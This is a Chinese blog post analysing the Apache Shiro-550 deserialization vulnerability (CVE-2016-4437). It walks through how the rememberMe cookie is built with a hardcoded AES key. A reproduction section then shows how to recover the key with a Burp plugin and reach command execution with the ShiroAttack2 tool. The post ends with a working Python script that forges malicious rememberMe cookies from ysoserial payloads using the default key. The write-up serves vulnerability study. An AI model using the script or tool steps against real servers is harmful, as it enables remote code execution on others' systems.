首页 > 其他分享 >Shiro-550—漏洞分析(CVE-2016-4437)

Shiro-550—漏洞分析(CVE-2016-4437)

时间:2024-09-20 09:35:33浏览次数:9  
标签:2016 加密 jar 550 漏洞 4437 密钥 序列化 payload

目录

漏洞原理

Shiro-550(CVE-2016-4437)反序列化漏洞
在调试cookie加密过程的时候发现开发者将AES-CBC用来加密的密钥硬编码了,并且所以导致我们拿到密钥后可以精心构造恶意payload替换cookie,然后让后台最后解密的时候进行反序列化我们的恶意payload造成攻击。
注:想要搞懂漏洞产生根因主要还是得知道根因是因为密钥写死在了源码中导致可碰撞密钥。后面就是反序列化漏洞。

源码分析

加密过程

约定:假设传入的用户名是root

1.入口在:onSuccessfulLogin函数
在这里插入图片描述
2.接着看下面有一个if判断是isRememberMe判断是否勾选了RememberMe,我们为了能够进行攻击的话肯定是需要勾选的,并且可以看到返回true进入if后会执行rememberIdentity函数,那么这里就正式开始漏洞剖析了。
在这里插入图片描述
3.跟进rememberIdentity函数,会发现他会用你登录信息来生成一个PrincipalCollection对象
(注意这里传入的是你输入的用户名root)
在这里插入图片描述
注意,我们这里需要跟进rememberIdentity函数里的rememberIdentity函数
进去后你会发现两个函数,这里两大分支:\

  • convertPrincipalsToBytes
  • rememberSerializedIdentity

说明:我们先跟踪convertPrincipalsToBytes,但是不要忘了该函数结束后下一行要进行 rememberSerializedIdentity
在这里插入图片描述

4.接着跟进convertPrincipalsToBytes,发现这里就是对用户名root先进行了一个序列化功能,接着如果if成立就进去encrypt加密,那么这两点说的就是整个漏洞的核心。

序列化+加密
但是我们要进行攻击的话就要进一步了解如何加密的,到时候攻击的话序列化就编写对应的代码即可,但是加密过程我们是需要知道的最好是能拿到他的密钥。

在这里插入图片描述
5.那么接着肯定要跟进serialize函数,再进去就没啥好看的了,知道他对用户名进行了一个序列化过程即可。
在这里插入图片描述
6.接着就要回过头来看convertPrincipalsToBytes函数,序列化完成后下面有个getCipherService函数,是用来获取加密方式的。
这里很重要,if判断和if里面的加密函数跟进后会获取到劲爆信息。
在这里插入图片描述

7.开始跟进getCipherService函数
开幕雷击,重要信息+1,
在这里插入图片描述
可以悬停看到他的加密方式AES-CBC模式
在这里插入图片描述
8.判断成功找到加密模式后,接下来就是进入if里面进行encrypt加密了
在这里插入图片描述
跟进后发现有做if,然后才开始进行加密,if肯定能进去,刚刚才拿到了加密模式
在这里插入图片描述
9.这里根据执行优先级,先跟进getEncryptionCipherKey方法
这个getEncryptionCipherKey就是最劲爆的,获取加密密钥,赶紧跟进一探究竟
直接返回了encryptionCipherKey,加密密钥就是他,那么肯定要找到他的setter方法,但是这里我决定不深入了,因为我们已经知道该方法是拿到加密密钥即可
在这里插入图片描述
最终你会找到加密密钥为DEFAULT_CIPHER_KEY_BYTES
在这里插入图片描述
10.书接上回getEncryptionCipherKey获取加密密钥成功了,接着就轮到encrypt加密了,但是这里我就不继续跟进了,因为已经知道了加密方式和密钥了。
在这里插入图片描述
11.退出后接着就是 rememberSerializedIdentity
不知道还记得不得之前提醒了convertPrincipalsToBytes函数退出后不要忘记 rememberSerializedIdentity
在这里插入图片描述
12.跟进 rememberSerializedIdentity 函数
里面的都不管了,直接看重要的信息,那就是对convertPrincipalsToBytes函数返回出来的bytes进行再次编码,这里使用了base64加密,然后将最终base64加密后设置为用户的Cookie的rememberMe字段中。
在这里插入图片描述

  • 加密总结
    对cookie进行序列化

    AES-CBC加密(密钥可碰撞拿到/用常用默认密钥)

    base64加密

    完成加密,设置cookie字段

解密过程

解密过程其实就和上面加密相反,我更认为通过加密来理解漏洞更让人深刻,所以解密过程就是:

  • 解密总结
    传入恶意payload在cookie的rememberMe字段中

    base64解密

    AES-CBC解密(密钥可碰撞拿到/用常用默认密钥)

    反序列化数据(攻击成功)

那么其实最终要的就是获取秘钥和生成恶意payload,这两点就在下面漏洞复现来展开。

漏洞复现

1.抓取加密密钥
可以通过burpsuite插件安装来被动获取
https://github.com/pmiaowu/BurpShiroPassiveScan/releases
在这里插入图片描述
插件安装完成后就可以抓包方包看看
在这里插入图片描述
最后在目标那里就能够看到抓到的密钥了
在这里插入图片描述

2.生成payload进行攻击
这里就先介绍集成工具使用,直接一步到位。
本来想着用ysoserial,但是问题多多,使用起来比较麻烦。
建议使用该工具来的快:
https://github.com/SummerSec/ShiroAttack2/releases
使用方法也很简单,运行jar包命令:java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
将你的url放在目标地址上即可
先点爆破密钥,回显日志中有打印:找到key,
接着再点爆破利用链即可
在这里插入图片描述
接着来到命令执行这里随便执行命令了
在这里插入图片描述

同时你还能添加更多的key进字典里面,字典在data目录下。
在这里插入图片描述


下面这种生成payload方式可看可不看,如果你很懂ysoserial就用下面这个,确实ysoserial很强,就是比较麻烦。

网上有现成脚本,改成你自己的dnslog域名
(这个脚本我只测试了dnslog,是成功的)
这个方法有缺点,需要你当前目录下要有ysoserial.jar,同时我试了其他gadget都失败了,执行不了命令,不知道哪里出错了还是咋滴,建议用脚本探测存在漏洞即可
请自行下载jar包才能用下面脚本:https://github.com/frohoff/ysoserial/
在这里插入图片描述
接着运行脚本
拿到payload
在这里插入图片描述
接着放到cookie里面,记住一定要放到cookie里面,因为反序列化就是通过cookie反序列化的。
在这里插入图片描述

下面就是脚本源码,千万不要忘记了脚本当前目录下要有ysoserial.jar才能运行起来。

import base64
import uuid
import subprocess
from Crypto.Cipher import AES


def rememberme(command):
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
                             stdout=subprocess.PIPE)
    # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    # payload = encode_rememberme('127.0.0.1:12345')
    # payload = rememberme('calc.exe')
    payload = rememberme('http://xxxx.ceye.io')
    with open("./payload.cookie", "w") as fpw:

        print("rememberMe={}".format(payload.decode()))
        res = "rememberMe={}".format(payload.decode())
        fpw.write(res)

参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/225442
https://www.cnblogs.com/z2n3/p/17206671.html

标签:2016,加密,jar,550,漏洞,4437,密钥,序列化,payload
From: https://www.cnblogs.com/dhan/p/18421868

相关文章

  • 洛谷P4550 收集邮票 题解 期望DP
    题目链接:https://www.luogu.com.cn/problem/P4550解题思路:定义状态\(f_i\)表示目前已经取到\(i\)种邮票的情况下,取完所有\(n\)很明显,\(f_n=0\),因为此时已经取完了\(n\)如果当前已经取到了\(i\)有\(\frac{i}{n}\)的概率取到现有的邮票(此时仍然拥有\(i\)有\(1-\frac{i......
  • APIO2016 烟火表演
    传送门给定一棵树,带边权。\(1\)的代价可以使某边权\(\pm1\)。求最小代价使从根到叶子距离都相等。\(n\le3\times10^5,w_e\le10^9\)。\(f_u(x)\)表示\(u\)的子树内把\(u\)到叶子的距离都变成\(x\)的最小代价。\(F_u(x)\)表示\(u\)的子树内把\(fa[u]\)到叶子......
  • JOI Open 2016
    T1JOIRIS你在玩俄罗斯方块,游戏区域是一个宽度为\(n\),高度足够大的矩形网格、初始时第\(i\)列有\(a_i\)个方块。给定参数\(k\),你可以做不超过\(10^4\)次操作,来将这个网格中的所有方块全部消除,一次操作形如:在网格的最顶端落下一个\(1\timesk\)或者\(k\times1\)......
  • 对 Windows Server 2016 进行优化时,可以考虑以下条目:这些步骤可以帮助提高 Windows Se
    对WindowsServer2016进行优化时,可以考虑以下条目:关闭不必要的服务:服务管理:通过“服务”管理工具(services.msc),禁用或设置为手动启动以下服务(根据实际需要):PrintSpooler(如果不使用打印功能)WindowsSearch(如果不需要文件索引)RemoteRegistryBluetoothSupportService(......
  • rfc3550讲了什么?
    RFC3550是关于实时传输协议(RTP)及其控制协议(RTCP)的官方文档,详细描述了这两个协议的基本内容、报文格式、传输规则、应用场景以及相关的扩展协议。以下是RFC3550内容的详细解析:一、实时传输协议(RTP)1.基本概述定义:RTP是一种网络协议,用于在互联网上传输具有实时属性的数据,如音频、视......
  • P3267 [JLOI2016/SHOI2016] 侦察守卫 题解
    P3267[JLOI2016/SHOI2016]侦察守卫题解\(n\le5\times10^5,D\le20\)的数据范围显然想到\(O(nd)\)的树形dp。考虑\(d\)这一维的状态设计。考虑\(i\)子树中的情况分为全部被覆盖和未全部被覆盖两种。对于第一种,显然我们要考虑子树中能向上覆盖影响的点的个数,于是设......
  • 2016 ACM/ICPC Asia Regional Qingdao Online(SDKD 2024 Summer Training Contest H2)
    A-ICountTwoThree题意给定n,求第一个\(\ge\)n的数k,且k=\(2^a3^b5^c7^d\)。思路考虑到样例很多,直接打表存入set省去数组排序操作,由于n$\le$1e9,所以只需要打到1e9后二分即可。(记得加上快读快写,T得饱饱的......
  • Springboot宠物救助系统v6550程序+源码+数据库+调试部署+开发环境
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、研究背景随着城市化进程的加快,流浪宠物问题日益严重,成为社会关注的焦点。传统救助方式受限于信息不流通、资源分配不均等问题,难以高效解决流浪......
  • saber2016安装教程
    saber2016安装教程-知乎(zhihu.com)第一步:保证解压时某些应用程序不会被系统当作病毒自动删除。①下载安装包②断网;③关闭防火墙;④关闭windows安全中心—病毒和威胁防护—实时保护。解压文件包。“Saber_L-2016.03”用以安装;“license”文件夹用以破解。注意如果防......
  • P7230 [COCI2015-2016#3] NEKAMELEONI
    这个做法与\(k\)无关。非常好常数,爱来自Hanghang。Hanghang给出了一个空间\(O(n)\),常数很小,代码很短的单侧递归做法。我们考虑维护哪些区间是不符合要求的,对于一个数\(a_x\),下一个\(a_x\)下标是\(d_x\),则满足\(x<l\ler<d_x\)的区间\((l,r)\)是不符合要求的。然......